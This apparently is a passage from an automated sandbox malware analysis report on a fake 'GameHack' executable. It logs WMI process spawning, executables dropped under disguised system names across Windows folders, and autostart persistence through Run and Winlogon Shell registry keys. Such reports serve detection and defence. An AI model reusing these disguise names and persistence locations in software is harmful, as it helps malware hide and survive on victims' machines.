Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

System file written: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File created: C:\Users\user\Desktop\BpJZMyRc.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	File created: C:\Windows\SoftwareDistribution\Download\9dbde960dbff0b004ef17a0616c3a8ef\RuntimeBroker.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File created: C:\Users\user\Desktop\ErvIhhWY.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	File created: C:\Program Files (x86)\MSBuild\SSblKNNQege.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File created: C:\Users\user\Desktop\syFrxmlp.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	File created: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File created: C:\Users\user\Desktop\wowiEjmi.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File created: C:\Users\user\Desktop\QLuoYXmy.log	Jump to dropped file
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	File created: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File created: C:\Users\user\Desktop\mOMkzqHG.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File created: C:\Users\user\Desktop\jdhUscxN.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File created: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\SSblKNNQege.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File created: C:\Windows\Cursors\OfficeClickToRun.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	File created: C:\Recovery\SSblKNNQege.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File created: C:\Users\user\Desktop\brpMezGb.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	File created: C:\Users\Default\Pictures\RuntimeBroker.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	File created: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\SSblKNNQege.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File created: C:\Program Files\Microsoft\SSblKNNQege.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File created: C:\Program Files (x86)\MSECache\OfficeKMS\win8\SSblKNNQege.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File created: C:\Users\user\Desktop\PxMOoBdB.log	Jump to dropped file
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	File created: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	File created: C:\Program Files\Windows Portable Devices\SSblKNNQege.exe	Jump to dropped file
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	File created: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File created: C:\Windows\security\database\SSblKNNQege.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	File created: C:\Program Files (x86)\Microsoft Office\SSblKNNQege.exe	Jump to dropped file
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	File created: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	File created: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	File created: C:\Windows\L2Schemas\SSblKNNQege.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File created: C:\Users\user\Desktop\WmQvmhxk.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	File created: C:\ProgramData\WindowsHolographicDevices\SSblKNNQege.exe	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe

File created: C:\ProgramData\WindowsHolographicDevices\SSblKNNQege.exe

Jump to dropped file

Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	File created: C:\Windows\SoftwareDistribution\Download\9dbde960dbff0b004ef17a0616c3a8ef\RuntimeBroker.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File created: C:\Windows\security\database\SSblKNNQege.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File created: C:\Windows\Cursors\OfficeClickToRun.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	File created: C:\Windows\L2Schemas\SSblKNNQege.exe	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File created: C:\Users\user\Desktop\PxMOoBdB.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File created: C:\Users\user\Desktop\WmQvmhxk.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File created: C:\Users\user\Desktop\mOMkzqHG.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File created: C:\Users\user\Desktop\BpJZMyRc.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File created: C:\Users\user\Desktop\jdhUscxN.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File created: C:\Users\user\Desktop\QLuoYXmy.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File created: C:\Users\user\Desktop\wowiEjmi.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File created: C:\Users\user\Desktop\ErvIhhWY.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File created: C:\Users\user\Desktop\syFrxmlp.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File created: C:\Users\user\Desktop\brpMezGb.log	Jump to dropped file

Boot Survival

Creates an autostart registry key pointing to binary in C:\Windows

Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe

Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run OfficeClickToRun

Creates an undocumented autostart registry key

Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run runtimesvc
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSblKNNQege
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run OfficeClickToRun

Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run OfficeClickToRun
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run OfficeClickToRun
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run OfficeClickToRun
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run OfficeClickToRun
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run runtimesvc
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run runtimesvc
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSblKNNQege
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSblKNNQege
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSblKNNQege
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSblKNNQege
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSblKNNQege
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSblKNNQege
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSblKNNQege
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSblKNNQege
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSblKNNQege
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSblKNNQege
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSblKNNQege
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSblKNNQege
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSblKNNQege
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSblKNNQege
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSblKNNQege
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSblKNNQege
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSblKNNQege
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSblKNNQege
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSblKNNQege
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSblKNNQege
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSblKNNQege
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSblKNNQege
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSblKNNQege
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSblKNNQege
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSblKNNQege
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSblKNNQege
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSblKNNQege
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSblKNNQege
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSblKNNQege
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSblKNNQege
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSblKNNQege
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSblKNNQege
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker

Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
